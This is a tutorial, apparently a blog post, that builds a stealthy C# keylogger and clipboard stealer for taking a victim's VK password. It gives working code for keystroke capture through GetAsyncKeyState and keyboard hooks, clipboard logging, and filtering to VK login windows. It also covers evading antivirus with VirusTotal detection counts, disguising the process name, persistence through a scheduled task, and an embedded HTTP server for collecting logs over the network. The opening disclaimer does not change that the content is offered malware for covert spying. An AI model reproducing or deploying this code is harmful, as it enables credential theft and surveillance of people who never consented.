How to Write a Simple C# Keylogger That Avoids Antivirus Detection

Disclaimer: This article is for educational purposes only. Unauthorized use of keyloggers or similar software is illegal and unethical. Always obtain explicit permission before testing or deploying any monitoring tools.

Homemade Keylogger: Writing a C# Keylogger That Avoids Antivirus Detection

Professional keyloggers with lots of features and anti-detection mechanisms can cost dozens, if not hundreds, of dollars. But a keylogger isn’t that complicated, and with some effort, you can make your own and even avoid antivirus detection. In this article, I’ll show you how it’s done, and we’ll get some practice developing C# programs along the way.

Setting the Goal

Let’s keep things simple and stick to the essentials. Suppose you want to get a victim’s VK password and you can briefly access their computer. Our requirements:

  • No pop-ups, taskbar icons, error messages, or anything else that might alert the user.
  • We only have one short opportunity to access the target computer.
  • We can retrieve logs while on the same local network.
  • The antivirus must remain silent.
  • We’ll ignore the firewall, assuming we can manually allow the keylogger when installing it.
  • We won’t try to hide the process, just give it an inconspicuous name.

If the victim uses a password manager, we’ll only see Ctrl-C and Ctrl-V in the log. To handle this, we’ll also monitor the clipboard contents.

We’ll use C# in Visual Studio. I ended up with two versions: one using WinAPI hooks, and another “hacky” version. The less elegant version actually fares better with antivirus scans, so I’ll cover both.

Theory

When you press a key, the OS sends notifications to programs that want to know about it. The simplest way to intercept keyboard input is to listen for keypress messages. If we can’t do that (for example, if SetWindowsHookEx is blocked by antivirus), we can use raw input. The GetAsyncKeyState function takes a key code and tells you if it’s pressed at the moment. The algorithm is simple: every N ms, poll all keys, record pressed ones, and process the list, considering Caps Lock, Num Lock, Shift, Ctrl, etc. Write the results to a file.

Writing the Code

Start by opening Visual Studio and creating a new Windows Forms (.NET Framework) project. Why Windows Forms? If you use a console app, a black window pops up every time, which could alert the user. With Windows Forms, as long as we don’t create a form, there’s no taskbar icon—important for stealth.

Delete the auto-generated Form1.cs and open Program.cs.

Main Stub

Remove lines 10–12 and 16–18. Change the method declaration from static void Main() to static void Main(String[] args) so we can pass arguments on restart.

Add using System.IO; for file operations, System.Runtime.InteropServices for WinAPI, and System.Threading for thread sleep. If you don’t want the “hacky” version, skip to the next section.

Import GetAsyncKeyState from user32.dll:

[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);

Add the keylogging loop, batching keystrokes to reduce disk operations:

while (true)
{
   Thread.Sleep(100);
   for (int i = 0; i < 255; i++)
   {
      int state = GetAsyncKeyState(i);
      if (state != 0)
      {
        buf += ((Keys)i).ToString(); 
        if (buf.Length > 10) 
        {
           File.AppendAllText("keylogger.log", buf); 
           buf = ""; 
        }
      }
   }
}

Making the Log Readable

The above code logs mouse buttons and non-character keys, making the log messy. Let’s only log character keys:

// Improved character check
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
if (((Keys)i) == Keys.LButton || ((Keys)i) == Keys.RButton || ((Keys)i) == Keys.MButton) continue;
if (((Keys)i).ToString().Length == 1)
{
     buf += ((Keys)i).ToString();
}
else
{
     buf += $"<{((Keys)i).ToString()}>";
}
if (buf.Length > 10)
{
     File.AppendAllText("keylogger.log", buf);
     buf = "";
}

Now the log is much cleaner. Next, handle Shift and Caps Lock:

// Even better check
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16); // 16 is Shift
if ((shiftState & 0x8000) == 0x8000)
{
    shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;

Now you can determine if a letter should be uppercase.

Some keys like <Oemcomma> (comma) and <Capital> (Caps Lock) clutter the log. Replace or skip these as needed. For example:

if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }

Handle other special keys (Num Lock, function keys, Print Screen, Page Up/Down, Scroll Lock, Tab, Home/End, Start, Alt, arrow keys) similarly. The result is a much more readable log. Note: there’s no support for Russian layout, but that’s not critical if you’re after passwords.

Antivirus Reaction

When scanned, only 8 out of 70 antiviruses on VirusTotal flagged the “hacky” version.

Cleaner Version: Using Keyboard Hooks

Let’s do it right and intercept keyboard messages. Create a Windows Forms project with an inconspicuous name (e.g., WindowsPrintService). Change void Main() to void Main(String[] args). Add argument checks as needed.

The main difference is setting a keyboard hook. You’ll need to:

  • Store a reference to your callback function.
  • Get your program’s handle.
  • Set the hook.
  • Process incoming messages every 5 ms (PeekMessageA).

Your callback function must match the WinAPI signature and call CallNextHookEx to pass control down the hook chain:

private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)
{
    // ... handle keypress ...
    return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
}

Use a switch statement to handle Shift + number keys, Caps Lock, etc.

Clipboard Logger (Clipper)

A clipper is a program that steals clipboard data—useful if the victim copies passwords from a manager. Create a new Windows Form, delete the <FormName>.Designer.cs and <FormName>.resx files, and start coding. Add using System.Runtime.InteropServices and import the necessary WinAPI methods.

In the form constructor:

NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
NativeMethods.AddClipboardFormatListener(Handle);

Override WndProc to handle clipboard updates:

protected override void WndProc(ref Message m)
{
   if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
   {
        IntPtr active_window = NativeMethods.GetForegroundWindow();
        int length = NativeMethods.GetWindowTextLength(active_window);
        StringBuilder sb = new StringBuilder(length + 1);
        NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
        Trace.WriteLine("");
        Trace.WriteLine("\t[Ctrl-C] Clipboard Copied: " + Clipboard.GetText());
   }
   base.WndProc(ref m);
}

You can find a ready-made class for this on Pastebin. To run the clipper, add a reference to System.Windows.Forms.dll, and in your logger’s startup method:

Thread clipboardT = new Thread(new ThreadStart(
           delegate {
              Application.Run(new ClipboardMonitorForm());
           }));
clipboardT.Start();

Be sure to set up the Trace handler first, or you’ll lose the output.

Collecting Logs

To retrieve logs remotely, embed a minimalist HTTP server in your project. There are ready-made sources for this, or you can use a modified version. The server will listen on localhost:34000 and <InternalIP>:34000 for HTTP, and port 34001 for other purposes. It returns a file/folder list or file contents as requested. Pass the log folder path (e.g., Environment.CurrentDirectory) to the constructor.

Autostart

There are many ways to achieve autostart: Startup folder, registry, drivers, services, etc. However, registry and drivers are monitored by most antiviruses, and services can be unreliable. The simplest way is to create a scheduled task to run your logger with the right parameters at user login. Use the Microsoft.Win32.TaskScheduler NuGet package. Example code is available on Pastebin—don’t forget to update the path in the task entry.

Antivirus Reaction (Cleaner Version)

The “cleaner” version is detected by more antiviruses (15 out of 70 on VirusTotal), but most popular home AVs still miss it. Just avoid Avira or NOD32.

Window Title Filtering

If the victim logs into VK right after boot, you’re in luck. But if they start playing CS:GO, you’ll have to sift through tons of W, A, S, D, and spaces. To improve, only log keystrokes when a browser window with the login form is active. Use GetForegroundWindow and GetWindowText from WinAPI to get the active window’s title. Here’s a function:

bool IsForegroundWindowInteresting(String s)
{
   IntPtr _hwnd = GetForegroundWindow();
   StringBuilder sb = new StringBuilder(256);
   GetWindowText(_hwnd, sb, sb.Capacity);
   if (sb.ToString().ToUpperInvariant().Contains(s.ToUpperInvariant())) return true;
   return false;
}

At the start of your CallbackFunction:

if (IsForegroundWindowInteresting("Welcome! | VK") ||
    IsForegroundWindowInteresting("Добро пожаловать | ВКонтакте"))
{
   return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
}

This checks for both English and Russian window titles. If the window isn’t interesting, skip logging to avoid unnecessary disk operations.

Searching the Log

If your log gets huge, you might want to extract, say, a phone number to know where to look for the password. Use regular expressions with C#’s Regex class. Here’s a method to find phone numbers in a log file:

public void FindTelephoneNumbers(String path)
{
   String _file = System.IO.File.ReadAllText(path);
   String _regex = @"((\+38|8|\+3|\+ )[ ]?)?([(]?\d{3}[)]?[\- ]?)?(\d[ -]?){6,14}";
   Regex _regexobj = new Regex(_regex);
   MatchCollection matches = _regexobj.Matches(_file);
   if (matches.Count > 0)
   {
      foreach (Match match in matches)
      {
         Console.WriteLine($"Match found: \"{match.Value}\"");
      }
   }
   else
   {
      Console.WriteLine("No matches found.");
   }
}

The password will usually follow the phone number.

Conclusion

As you can see, creating a keylogger isn’t hard. In fact, a homemade spy tool has a key advantage: antiviruses don’t know about it in advance, and not all of them detect it by behavior. Of course, there’s plenty of room for improvement—adding internet access, support for different keyboard layouts, screenshot capture, and more. My goal here was to show how easy it is to make such a program and inspire you to learn more about programming and security. I hope I succeeded!

Leave a Reply